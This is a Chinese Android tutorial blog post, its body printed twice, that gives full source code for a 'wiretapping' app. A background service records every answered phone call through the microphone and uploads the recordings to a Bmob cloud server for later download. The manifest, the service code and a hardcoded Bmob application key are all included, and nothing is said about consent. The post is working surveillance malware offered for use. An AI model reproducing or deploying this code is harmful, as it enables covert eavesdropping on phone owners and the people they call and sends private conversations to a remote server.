Android实战简易教程<五十五>(窃听风云之电话录音上传)
2015-09-26 11:17
746 查看
话说现在短信用的越来越少了啊,下面来个更猛的,电话录音监听上传,电话接通后开始录音,电话挂断后将录音上传。这里我们还是借助Bmob提供的上传服务,将录音文件上传到bomb的服务器,可以自行下载,播放录音。
配置bmob服务很是简单,注册账号,下载jar包,将jar包引入libs文件目录下:
然后配置权限:
[html] view
plaincopy
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
然后在代码中初始化:
[java] view
plaincopy
package com.bmob.example;
import cn.bmob.Bmob;
import android.app.Activity;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
// 初始化 Bmob SDK
// 使用时请将第二个参数Application ID替换成你在Bmob服务器端创建的Application ID
Bmob.initialize(this, "Your Application ID");
}
}
这些在官网的快速入门中都有,大家可以自行学习,下面我们来看一下代码实现。
1.MainActivity.java:
[java] view
plaincopy
package com.example.detectdemo;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent(this,PhoneService.class);
startService(intent);
}
}
MainActivity.java就是启动了一个service,下面我们看一下这个service:
[java] view
plaincopy
package com.example.detectdemo;
import java.io.File;
import cn.bmob.v3.Bmob;
import cn.bmob.v3.datatype.BmobFile;
import cn.bmob.v3.listener.UploadFileListener;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class PhoneService extends Service {
private TelephonyManager tm;
private MyPhoneStateListener1 listener;
private MediaRecorder mr;
@Override
public void onCreate() {
super.onCreate();
Bmob.initialize(this, "043e93c00763edf4ba390e9031775656");
tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
listener = new MyPhoneStateListener1();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
}
private class MyPhoneStateListener1 extends PhoneStateListener {
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://闲置状态
if (mr != null) {
// if(incomingNumber.equals("5556")||incomingNumber.equals("15555215556")){
mr.stop();
mr.reset();
mr.release();
mr = null;
// }
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接听状态,进行录音监听
try {
mr = new MediaRecorder();
mr.setAudioSource(MediaRecorder.AudioSource.MIC);
mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
String fileNameString = System.currentTimeMillis() + ".3gp";
File file = new File(
Environment.getExternalStorageDirectory(),
fileNameString);
String filePathString = file.getPath();
mr.setOutputFile(file.getAbsolutePath());
mr.prepare();
mr.start();
upload(filePathString);
} catch (Exception e) {
e.printStackTrace();
}
break;
case TelephonyManager.CALL_STATE_RINGING://响铃状态
break;
default:
break;
}
};
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* 将文件上传
*
* @param filepath
*/
private void upload(String filePath) {
final BmobFile icon = new BmobFile(new File(filePath));
icon.upload(this, new UploadFileListener() {
@Override
public void onSuccess() {//上传成功!
Cheat name = new Cheat();
name.setName(icon);
name.save(getApplicationContext());
}
@Override
public void onProgress(Integer arg0) {
}
@Override
public void onFailure(int arg0, String arg1) {
}
});
}
}
最后配置权限:
[html] view
plaincopy
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.detectdemo"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="21" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_LOGS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- //用来读取电话状态 -->
<uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- //录音的相关权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /> <!-- //以下两个是读写SDcard相应的权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.example.detectdemo.PhoneService" >
</service>
</application>
</manifest>
主要用到了TelephonyManager 电话管理类和MediaRecorder 录音类,也比较简单,录音结束后通过Bmob的upload方法上传文件。
运行本实例,然后打电话给10010进行测试:
点击文件名即可将文件进行下载:
一、配置bmob
配置bmob服务很是简单,注册账号,下载jar包,将jar包引入libs文件目录下:然后配置权限:
[html] view
plaincopy
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
然后在代码中初始化:
[java] view
plaincopy
package com.bmob.example;
import cn.bmob.Bmob;
import android.app.Activity;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
// 初始化 Bmob SDK
// 使用时请将第二个参数Application ID替换成你在Bmob服务器端创建的Application ID
Bmob.initialize(this, "Your Application ID");
}
}
这些在官网的快速入门中都有,大家可以自行学习,下面我们来看一下代码实现。
二、代码实现
1.MainActivity.java:[java] view
plaincopy
package com.example.detectdemo;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent(this,PhoneService.class);
startService(intent);
}
}
MainActivity.java就是启动了一个service,下面我们看一下这个service:
[java] view
plaincopy
package com.example.detectdemo;
import java.io.File;
import cn.bmob.v3.Bmob;
import cn.bmob.v3.datatype.BmobFile;
import cn.bmob.v3.listener.UploadFileListener;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class PhoneService extends Service {
private TelephonyManager tm;
private MyPhoneStateListener1 listener;
private MediaRecorder mr;
@Override
public void onCreate() {
super.onCreate();
Bmob.initialize(this, "043e93c00763edf4ba390e9031775656");
tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
listener = new MyPhoneStateListener1();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
}
private class MyPhoneStateListener1 extends PhoneStateListener {
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://闲置状态
if (mr != null) {
// if(incomingNumber.equals("5556")||incomingNumber.equals("15555215556")){
mr.stop();
mr.reset();
mr.release();
mr = null;
// }
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接听状态,进行录音监听
try {
mr = new MediaRecorder();
mr.setAudioSource(MediaRecorder.AudioSource.MIC);
mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
String fileNameString = System.currentTimeMillis() + ".3gp";
File file = new File(
Environment.getExternalStorageDirectory(),
fileNameString);
String filePathString = file.getPath();
mr.setOutputFile(file.getAbsolutePath());
mr.prepare();
mr.start();
upload(filePathString);
} catch (Exception e) {
e.printStackTrace();
}
break;
case TelephonyManager.CALL_STATE_RINGING://响铃状态
break;
default:
break;
}
};
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* 将文件上传
*
* @param filepath
*/
private void upload(String filePath) {
final BmobFile icon = new BmobFile(new File(filePath));
icon.upload(this, new UploadFileListener() {
@Override
public void onSuccess() {//上传成功!
Cheat name = new Cheat();
name.setName(icon);
name.save(getApplicationContext());
}
@Override
public void onProgress(Integer arg0) {
}
@Override
public void onFailure(int arg0, String arg1) {
}
});
}
}
最后配置权限:
[html] view
plaincopy
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.detectdemo"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="21" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_LOGS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- //用来读取电话状态 -->
<uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- //录音的相关权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" /> <!-- //以下两个是读写SDcard相应的权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.example.detectdemo.PhoneService" >
</service>
</application>
</manifest>
主要用到了TelephonyManager 电话管理类和MediaRecorder 录音类,也比较简单,录音结束后通过Bmob的upload方法上传文件。
运行本实例,然后打电话给10010进行测试:
点击文件名即可将文件进行下载:
相关文章推荐
- Android Studio 导入 Eclipse 的代码后,运行时中文显示乱码
- Android实战简易教程<五十六>(模拟美团客户端进度提示框)
- Android实战简易教程<五十七>(分享小米手电筒源码)
- Android实战简易教程<五十八>(AlarmManager类用法研究小实例)
- Android实战简易教程<五十九>(EventBus小实例-传值、控制其他页控件显示)
- Android实战简易教程<六十>(分享一个城市选择功能模块)
- Android自定义View遇到的问题
- Android实战简易教程<六十一>(圆形显示的ImageView)
- Android实战简易教程<六十二>(电子Sensor精确罗盘)
- Android实战简易教程<二十一>(GridView动态添加Item)
- 【Android杂谈】图片出现OOM解决办法总结
- Android开发笔记——对话框和通知
- Android进阶之OptionsMenu+ContextMenu+subMenu
- ViewPager防止Fragment销毁以及取消Fragment的预加载
- Android之复选框CheckBox使用
- android读入一个txt文件
- Android环境搭建
- Android IM之基于Openfire+Smack的聊天服务器的搭建与测试
- Android系统的常用权限整理
- 分享:Android -- Properties使用